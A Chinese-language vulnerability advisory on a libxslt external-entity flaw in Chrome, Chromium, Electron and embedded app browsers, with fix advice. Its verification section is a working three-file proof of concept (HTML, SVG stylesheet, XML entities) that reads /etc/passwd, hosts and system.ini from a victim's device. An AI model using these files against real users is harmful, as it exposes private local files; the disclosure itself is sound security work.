一、漏洞描述
Google Chrome是一款由Google(Google)公司開發的網頁瀏覽器。該瀏覽器基於開源核心(如WebKit)編寫,目標是提升穩定性、速度和安全性,並創造出簡單且高效的使用者介面。 WebKit預設使用的xsl函式庫(Libxslt),呼叫document()載入的文件裡麵包含對外部實體的參考。攻擊者可以建立並託管包含XSL樣式表的SVG映像和包含外部實體參考的文件。
當受害者存取SVG圖像連結時,瀏覽器會解析XSL樣式表,呼叫document() 載入包含外部實體引用的文檔,讀取受害者機器的任意文件。
二、漏洞影響
Chrome 版本< 116.0.5845.96
Chromium 版本< 116.0.5845.96
Electron 版本< 26.1.0
國內影響影響:
使用Google瀏覽器核心的應用基本上都受影響,如:手機微信,支付寶,抖音,攜程,小米(自帶瀏覽器),UC瀏覽器,via瀏覽器,夸克瀏覽等等(這些都是11月19日晚測過的)
三、漏洞驗證
以安卓版微信,讀取手機/etc/hosts檔案為例:測試環境微信版本為最新版 8.0.43
建構三個檔案並部署在伺服器上
c.html
<body>
<div id="r"></div>
<script>
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
}
ifr.src = "./c2.svg";
var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
alert(data);
</script>
</body>
c2.svg
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="10000%" height="10000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignobject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp>
<xsl:copy-of select="document('./c3.xml')"/>
</xmp>
</body>
</foreignobject>
</svg>
</xsl:template>
</xsl:stylesheet>
c3.xml
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
<p style="border-style: dotted;">/etc/passwd: &passwd;
</p>
<p style="border-style: dotted;" id="hosts">/etc/hosts: &hosts;
</p>
<p style="border-style: dotted;">/etc/group: &group;
</p>
<p style="border-style: dotted;">c:/windows/system32.ini: &sysini;
</p>
</p>
創建好三個文件後,上傳至伺服器上部署、將構造好的鏈接通過會話框發給任意好友,我這裡演示發給文件傳輸助手,然後點擊這個鏈接,返回讀取文成功。
四、漏洞修復建議
1、升級應用程式內建瀏覽器版本;
2、用戶不要點擊陌生鏈接,防止被攻擊
原创文章,作者:首席安全官,如若转载,请注明出处:https://cncso.com/tw/webkit-browser-arbitrary-file-read-vulnerability-html